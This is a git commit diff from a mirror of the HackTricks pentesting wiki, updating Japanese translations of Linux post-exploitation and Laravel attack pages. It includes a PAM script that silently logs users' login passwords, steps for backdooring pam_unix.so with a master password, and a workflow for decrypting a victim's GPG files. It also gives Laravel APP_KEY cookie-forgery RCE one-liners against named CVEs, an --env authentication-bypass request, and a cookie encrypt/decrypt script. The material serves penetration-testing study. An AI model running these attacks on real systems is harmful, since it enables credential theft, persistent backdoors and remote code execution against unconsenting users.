mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/file-upload/README.md', 'src/linux-h
This commit is contained in:
parent
828b90445f
commit
79ad7d5d05
@ -2,24 +2,25 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## PAMを使用したログインパスワードのスニッフィング
|
||||
## Sniffing Logon Passwords with PAM
|
||||
|
||||
Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check:
|
||||
|
||||
各ユーザーがログインに使用するパスワードを記録するためにPAMモジュールを設定しましょう。PAMが何か分からない場合は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
pam-pluggable-authentication-modules.md
|
||||
{{#endref}}
|
||||
|
||||
**詳細については[元の投稿](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)を確認してください**。これは要約です:
|
||||
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. これは要約です:
|
||||
|
||||
**技術概要:**
|
||||
プラガブル認証モジュール(PAM)は、Unixベースのシステムでの認証管理に柔軟性を提供します。ログインプロセスをカスタマイズすることでセキュリティを強化できますが、誤用されるとリスクも伴います。この要約では、PAMを使用してログイン資格情報をキャプチャする技術と、その緩和戦略を概説します。
|
||||
**Technique Overview:**
|
||||
Pluggable Authentication Modules (PAM) は、Unix 系システムでの認証管理に柔軟性を提供します。ログインプロセスをカスタマイズすることでセキュリティを向上させられますが、誤用されるとリスクを招きます。本要約では、PAM を使ってログイン資格情報を取得する手法とその緩和策を概説します。
|
||||
|
||||
**資格情報のキャプチャ:**
|
||||
**Capturing Credentials:**
|
||||
|
||||
- `toomanysecrets.sh`という名前のbashスクリプトが作成され、ログイン試行を記録し、日付、ユーザー名(`$PAM_USER`)、パスワード(stdin経由)、およびリモートホストIP(`$PAM_RHOST`)を`/var/log/toomanysecrets.log`にキャプチャします。
|
||||
- スクリプトは実行可能にされ、`pam_exec.so`モジュールを使用してPAM設定(`common-auth`)に統合され、静かに実行し、認証トークンをスクリプトに公開するオプションが付与されます。
|
||||
- このアプローチは、侵害されたLinuxホストが資格情報を密かに記録するためにどのように悪用されるかを示しています。
|
||||
- `toomanysecrets.sh` という名前の bash スクリプトを作成し、ログイン試行を記録するようにして、日付、username (`$PAM_USER`)、password(stdin 経由)、remote host IP (`$PAM_RHOST`) を `/var/log/toomanysecrets.log` に記録します。
|
||||
- スクリプトに実行権限を与え、`pam_exec.so` モジュールを使用して PAM の設定(`common-auth`)に統合します。オプションは静かに実行し、認証トークンをスクリプトに渡すようにします。
|
||||
- この手法は、乗っ取られた Linux ホストが資格情報を秘かにログに記録するためにどのように悪用され得るかを示しています。
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
@ -29,25 +30,52 @@ sudo nano /etc/pam.d/common-auth
|
||||
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
|
||||
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||||
```
|
||||
### PAMのバックドア作成
|
||||
### Backdooring PAM
|
||||
|
||||
**詳細については[元の投稿](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)を確認してください**。これは要約です:
|
||||
**詳細は[original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)を確認してください**。これは要約です:
|
||||
|
||||
Pluggable Authentication Module (PAM)は、Linuxでユーザー認証に使用されるシステムです。これは、**ユーザー名**、**パスワード**、および**サービス**の3つの主要な概念に基づいて動作します。各サービスの設定ファイルは`/etc/pam.d/`ディレクトリにあり、共有ライブラリが認証を処理します。
|
||||
Pluggable Authentication Module (PAM) は Linux 上でユーザ認証に使われるシステムです。主に3つの概念で動作します:**username**, **password**, **service**。各サービスの設定ファイルは `/etc/pam.d/` にあり、共有ライブラリが認証を処理します。
|
||||
|
||||
**目的**:特定のパスワードでの認証を許可するようにPAMを変更し、実際のユーザーパスワードをバイパスします。これは、パスワード検証のためにほぼすべてのサービスによって含まれる`common-auth`ファイルで使用される`pam_unix.so`共有ライブラリに特に焦点を当てています。
|
||||
**目的**: PAM を修正して、実際のユーザーパスワードをバイパスし、特定のパスワードで認証できるようにします。特に `pam_unix.so` 共有ライブラリに注目しており、これはパスワード検証のためにほとんどのサービスが include する `common-auth` ファイルで使われています。
|
||||
|
||||
### `pam_unix.so`の変更手順:
|
||||
### Steps for Modifying `pam_unix.so`:
|
||||
|
||||
1. **`common-auth`ファイル内の認証ディレクティブを特定**:
|
||||
- ユーザーのパスワードを確認する責任がある行は`pam_unix.so`を呼び出します。
|
||||
2. **ソースコードを変更**:
|
||||
- `pam_unix_auth.c`ソースファイルに、事前定義されたパスワードが使用された場合にアクセスを許可する条件文を追加し、そうでない場合は通常の認証プロセスを続行します。
|
||||
3. **修正された`pam_unix.so`ライブラリを適切なディレクトリに再コンパイルして置き換えます**。
|
||||
4. **テスト**:
|
||||
- 事前定義されたパスワードでさまざまなサービス(ログイン、ssh、sudo、su、スクリーンセーバー)にアクセスが許可され、通常の認証プロセスには影響がありません。
|
||||
1. **Locate the Authentication Directive** in the `common-auth` file:
|
||||
- ユーザのパスワードをチェックする行は `pam_unix.so` を呼び出しています。
|
||||
2. **Modify Source Code**:
|
||||
- `pam_unix_auth.c` ソースファイルに、事前定義したパスワードが使われている場合にアクセスを許可し、そうでなければ通常の認証処理を継続する条件文を追加します。
|
||||
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
|
||||
4. **Testing**:
|
||||
- 事前定義したパスワードでさまざまなサービス(login、ssh、sudo、su、screensaver)へのアクセスが許可され、通常の認証処理は影響を受けません。
|
||||
|
||||
> [!TIP]
|
||||
> このプロセスを[https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)で自動化できます。
|
||||
> このプロセスは [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) で自動化できます
|
||||
|
||||
## ホームディレクトリ移動による GPG loot の復号
|
||||
|
||||
暗号化された `.gpg` ファイルとユーザの `~/.gnupg` フォルダ(pubring, private-keys, trustdb)を見つけたが、GnuPG の homedir の権限/ロックのために復号できない場合、keyring を書き込み可能な場所にコピーしてそれを GPG のホームとして使います。
|
||||
|
||||
これを行わないと典型的に以下のエラーが出ます: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key"(GPG が元の homedir を読み書きできないため)。
|
||||
|
||||
Workflow:
|
||||
```bash
|
||||
# 1) Stage a writable homedir and copy the victim's keyring
|
||||
mkdir -p /dev/shm/fakehome/.gnupg
|
||||
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
|
||||
# 2) Ensure ownership & perms are sane for gnupg
|
||||
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
|
||||
chmod 700 /dev/shm/fakehome/.gnupg
|
||||
# 3) Decrypt using the relocated homedir (either flag works)
|
||||
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
|
||||
# or
|
||||
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
|
||||
```
|
||||
秘密鍵のマテリアルが `private-keys-v1.d` に存在する場合、GPG はパスフレーズを要求せずにアンロックおよび復号を行います(鍵が保護されている場合はプロンプトが表示されます)。
|
||||
|
||||
|
||||
## 参考資料
|
||||
|
||||
- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -4,14 +4,14 @@
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
ここで情報を読む: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
詳細はこちら: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
|
||||
## APP_KEY & 暗号化の内部 (Laravel \u003e=5.6)
|
||||
|
||||
Laravelは、内部でHMAC整合性を持つAES-256-CBC(またはGCM)を使用しています(`Illuminate\\Encryption\\Encrypter`)。
|
||||
最終的に**クライアントに送信される**生の暗号文は、次のような**JSONオブジェクトのBase64**です:
|
||||
Laravelは内部で AES-256-CBC (または GCM) と HMAC による整合性を使用します (`Illuminate\\Encryption\\Encrypter`).
|
||||
最終的に**クライアントに送信される**生の暗号文は、**JSONオブジェクトのBase64**のようになります:
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
@ -20,21 +20,21 @@ Laravelは、内部でHMAC整合性を持つAES-256-CBC(またはGCM)を使
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` はデフォルトでプレーンテキストを `serialize()` し、`decrypt($payload, $unserialize=true)` **は自動的に `unserialize()`** された値を復号化します。したがって、**32バイトの秘密 `APP_KEY` を知っている攻撃者は、暗号化されたPHPシリアライズオブジェクトを作成し、マジックメソッド(`__wakeup`、`__destruct`、…)を介してRCEを得ることができます**。
|
||||
`encrypt($value, $serialize=true)` はデフォルトで平文を `serialize()` します。一方、`decrypt($payload, $unserialize=true)` は復号した値を**自動的に `unserialize()` します**。したがって **32バイトの秘密 `APP_KEY` を知っている攻撃者は暗号化された PHP シリアライズ済みオブジェクトを作成し、マジックメソッド(`__wakeup`, `__destruct`, …)を介して RCE を得ることができます**。
|
||||
|
||||
最小限のPoC(フレームワーク ≥9.x):
|
||||
Minimal PoC (framework ≥9.x):
|
||||
```php
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
生成された文字列を任意の脆弱な `decrypt()` シンク(ルートパラメータ、クッキー、セッションなど)に注入します。
|
||||
生成された文字列を任意の脆弱な `decrypt()` sink (route param, cookie, session, …) に注入します。
|
||||
|
||||
---
|
||||
|
||||
## laravel-crypto-killer 🧨
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) は、全プロセスを自動化し、便利な **bruteforce** モードを追加します:
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) はプロセス全体を自動化し、便利な **bruteforce** モードを追加します:
|
||||
```bash
|
||||
# Encrypt a phpggc chain with a known APP_KEY
|
||||
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
|
||||
@ -45,25 +45,25 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
スクリプトはCBCおよびGCMペイロードの両方を透過的にサポートし、HMAC/タグフィールドを再生成します。
|
||||
このスクリプトはCBCとGCMのペイロードの両方を透過的にサポートし、HMAC/tagフィールドを再生成します。
|
||||
|
||||
---
|
||||
|
||||
## 実世界の脆弱なパターン
|
||||
## 実際の脆弱なパターン
|
||||
|
||||
| プロジェクト | 脆弱なシンク | ガジェットチェーン |
|
||||
|--------------|--------------|--------------------|
|
||||
| Project | Vulnerable sink | Gadget chain |
|
||||
|---------|-----------------|--------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN`クッキーが`Passport::withCookieSerialization()`で有効な場合 | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session`クッキー | Laravel/RCE15 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||||
|
||||
エクスプロイトのワークフローは常に次のとおりです:
|
||||
1. 32バイトの`APP_KEY`を取得またはブルートフォースします。
|
||||
2. **PHPGGC**を使用してガジェットチェーンを構築します(例えば`Laravel/RCE13`、`Laravel/RCE9`または`Laravel/RCE15`)。
|
||||
3. 回収した`APP_KEY`と**laravel_crypto_killer.py**を使用してシリアライズされたガジェットを暗号化します。
|
||||
4. 脆弱な`decrypt()`シンク(ルートパラメータ、クッキー、セッションなど)に暗号文を送信して**RCE**をトリガーします。
|
||||
悪用のワークフローは常に次の通りです:
|
||||
1. 32バイトの`APP_KEY`を取得するか、ブルートフォースで特定する。
|
||||
2. **PHPGGC**でガジェットチェーンを構築する(例えば `Laravel/RCE13`、`Laravel/RCE9`、または`Laravel/RCE15`)。
|
||||
3. 復元した`APP_KEY`を使い、**laravel_crypto_killer.py**でシリアライズ済みのガジェットを暗号化する。
|
||||
4. 暗号文を脆弱な`decrypt()` sink(ルートパラメータ、cookie、session …)に渡して**RCE**を引き起こす。
|
||||
|
||||
以下は、上記の各実世界CVEの完全な攻撃パスを示す簡潔なワンライナーです:
|
||||
以下は、上で挙げた各実際のCVEについてフル攻撃経路を示す簡潔なワンライナーです:
|
||||
```bash
|
||||
# Invoice Ninja ≤5 – /route/{hash}
|
||||
php8.2 phpggc Laravel/RCE13 system id -b -f | \
|
||||
@ -80,41 +80,84 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
|
||||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
|
||||
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
|
||||
```
|
||||
## 大量の APP_KEY 発見 — cookie brute-force による
|
||||
|
||||
新しい Laravel のレスポンスは少なくとも1つの暗号化された cookie(`XSRF-TOKEN`、通常は `laravel_session`)を設定するため、public internet scanners (Shodan, Censys, …) leak millions of ciphertexts が発生し、これらはオフラインで攻撃可能です。
|
||||
|
||||
Synacktiv (2024-2025) が発表した研究の主な所見:
|
||||
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
|
||||
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
|
||||
* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
|
||||
* 大規模なキー再利用 – Top-10 APP_KEYs は商用 Laravel テンプレート(UltimatePOS, Invoice Ninja, XPanel, …)にハードコードされたデフォルトです。
|
||||
|
||||
プライベートな Go ツール **nounours** は AES-CBC/GCM bruteforce のスループットを約 1.5 billion tries/s に押し上げ、全データセットの cracking を <2 分に短縮します。
|
||||
|
||||
|
||||
## CVE-2024-52301 – HTTP argv/env override → 認証バイパス
|
||||
|
||||
多くのディストリビューションで典型的な PHP 設定 `register_argc_argv=On` の場合、PHP はクエリ文字列から派生した HTTP リクエスト用の `argv` 配列を公開します。最近の Laravel バージョンはこの「CLI-like」な引数を解析し、ランタイムで `--env=<value>` を尊重しました。これにより、任意の URL にこれを付与するだけで現在の HTTP リクエストのフレームワーク環境を切り替えることができます:
|
||||
|
||||
- 簡易確認:
|
||||
- `https://target/?--env=local` または任意の文字列にアクセスして、環境依存の変化(デバッグバナー、フッター、詳細なエラーなど)を確認します。文字列が反映されていれば、オーバーライドが機能しています。
|
||||
|
||||
- インパクト例(特定の env を信頼するビジネスロジック):
|
||||
- アプリに `if (app()->environment('preprod')) { /* bypass auth */ }` のような分岐がある場合、ログイン POST を以下に送ることで有効な資格情報なしに認証できます:
|
||||
- `POST /login?--env=preprod`
|
||||
|
||||
- 注意点:
|
||||
- リクエスト単位で動作し、永続化しません。
|
||||
- `register_argc_argv=On` と、HTTP の argv を読む脆弱な Laravel バージョンが必要です。
|
||||
- “debug” 環境でより詳細なエラーを出したり、環境制御されたコードパスをトリガーしたりする際に有用なプリミティブです。
|
||||
|
||||
- 緩和策:
|
||||
- PHP-FPM/Apache で `register_argc_argv` を無効化する。
|
||||
- HTTP リクエストで argv を無視するよう Laravel をアップグレードし、本番ルートで `app()->environment()` に依存した信頼前提を削除する。
|
||||
|
||||
Minimal exploitation flow (Burp):
|
||||
```http
|
||||
POST /login?--env=preprod HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
...
|
||||
email=a@b.c&password=whatever&remember=0xdf
|
||||
```
|
||||
---
|
||||
|
||||
## マス APP_KEY 発見によるクッキー総当たり攻撃
|
||||
|
||||
新しい Laravel のレスポンスは少なくとも 1 つの暗号化されたクッキー(`XSRF-TOKEN` と通常は `laravel_session`)を設定するため、**パブリックインターネットスキャナー(Shodan, Censys, …)は数百万の暗号文を漏洩させ**、オフラインで攻撃可能です。
|
||||
|
||||
Synacktiv によって発表された研究の主な発見(2024-2025):
|
||||
* データセット 2024年7月 » 580 k トークン、**3.99 % のキーが解読**(≈23 k)
|
||||
* データセット 2025年5月 » 625 k トークン、**3.56 % のキーが解読**
|
||||
* >1,000 サーバーがレガシー CVE-2018-15133 に対して依然として脆弱で、トークンが直接シリアライズされたデータを含んでいます。
|
||||
* 巨大なキーの再利用 – トップ10の APP_KEY は商業用 Laravel テンプレート(UltimatePOS, Invoice Ninja, XPanel, …)にハードコーディングされたデフォルトです。
|
||||
|
||||
プライベート Go ツール **nounours** は AES-CBC/GCM の総当たりスループットを約 15 億試行/秒に押し上げ、フルデータセットの解読を 2 分未満に短縮します。
|
||||
|
||||
|
||||
## Laravel トリック
|
||||
## Laravel のトリック
|
||||
|
||||
### デバッグモード
|
||||
|
||||
Laravel が **デバッグモード** の場合、**コード** と **機密データ** にアクセスできます。\
|
||||
例えば `http://127.0.0.1:8000/profiles`:
|
||||
Laravel が **デバッグモード** の場合、**コード** や **機密データ** にアクセスできるようになります。\
|
||||
For example `http://127.0.0.1:8000/profiles`:
|
||||
|
||||
.png>)
|
||||
|
||||
これは通常、他の Laravel RCE CVE を悪用するために必要です。
|
||||
これは通常、他の Laravel RCE CVEs を悪用する際に必要になります。
|
||||
|
||||
### フィンガープリンティング & 公開された開発用エンドポイント
|
||||
|
||||
本番で公開されている Laravel スタックや危険な開発ツールを特定するための簡易チェック:
|
||||
|
||||
- `/_ignition/health-check` → Ignition が存在 (CVE-2021-3129 で使われたデバッグツール)。認証なしで到達可能な場合、アプリはデバッグモードか設定ミスの可能性があります。
|
||||
- `/_debugbar` → Laravel Debugbar のアセット。多くの場合デバッグモードを示します。
|
||||
- `/telescope` → Laravel Telescope (開発監視ツール)。公開されている場合、広範な情報漏洩や実行可能な操作が予想されます。
|
||||
- `/horizon` → キューのダッシュボード。バージョン情報の開示や、場合によっては CSRF 保護された操作が存在することがあります。
|
||||
- `X-Powered-By`、クッキー `XSRF-TOKEN` と `laravel_session`、および Blade のエラーページもフィンガープリントに役立ちます。
|
||||
```bash
|
||||
# Nuclei quick probe
|
||||
nuclei -nt -u https://target -tags laravel -rl 30
|
||||
# Manual spot checks
|
||||
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
|
||||
```
|
||||
### .env
|
||||
|
||||
Laravel はクッキーや他の資格情報を暗号化するために使用する APP を `.env` というファイルに保存しており、次のパストラバーサルを使用してアクセスできます:`/../.env`
|
||||
Laravel は、cookies やその他の資格情報を暗号化するために使用する APP を `.env` というファイルに保存します。このファイルにはパストラバーサルで `/../.env` のようにアクセスできます。
|
||||
|
||||
Laravel はエラーを見つけたときにデバッグページ内にもこの情報を表示します(それが有効になっている場合)。
|
||||
Laravel は、エラーを検出して debug が有効になっている場合に、この情報を debug page 内にも表示します。
|
||||
|
||||
Laravel の秘密の APP_KEY を使用して、クッキーを復号化し再暗号化できます:
|
||||
Laravel の秘密の APP_KEY を使用すると、cookies を復号および再暗号化できます:
|
||||
|
||||
### クッキーの復号化
|
||||
### Decrypt Cookie
|
||||
```python
|
||||
import os
|
||||
import json
|
||||
@ -169,30 +212,34 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
|
||||
|
||||
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
|
||||
key = base64.b64decode(app_key)
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
|
||||
```
|
||||
### Laravel デシリアライズ RCE
|
||||
### Laravel Deserialization RCE
|
||||
|
||||
脆弱なバージョン: 5.5.40 および 5.6.x から 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
影響を受けるバージョン: 5.5.40 および 5.6.x 〜 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
|
||||
ここでデシリアライズの脆弱性に関する情報を見つけることができます: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
deserialization 脆弱性に関する情報は次を参照してください: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
|
||||
[https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)を使用してテストおよび悪用できます。\
|
||||
また、metasploitを使用しても悪用できます: `use unix/http/laravel_token_unserialize_exec`
|
||||
テストおよびexploitには次を使用できます: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
または metasploit を使って exploit することもできます: `use unix/http/laravel_token_unserialize_exec`
|
||||
|
||||
### CVE-2021-3129
|
||||
|
||||
別のデシリアライズ: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||
別の deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||
|
||||
|
||||
|
||||
## 参考文献
|
||||
* [Laravel: APP_KEY 漏洩分析 (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [Laravel : APP_KEY の漏洩分析 (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
|
||||
## 参考資料
|
||||
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – PHP ジェネリックガジェットチェーン](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 の詳細 (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
|
||||
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
|
||||
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## File Upload General Methodology
|
||||
## ファイルアップロード 一般的な方法論
|
||||
|
||||
Other useful extensions:
|
||||
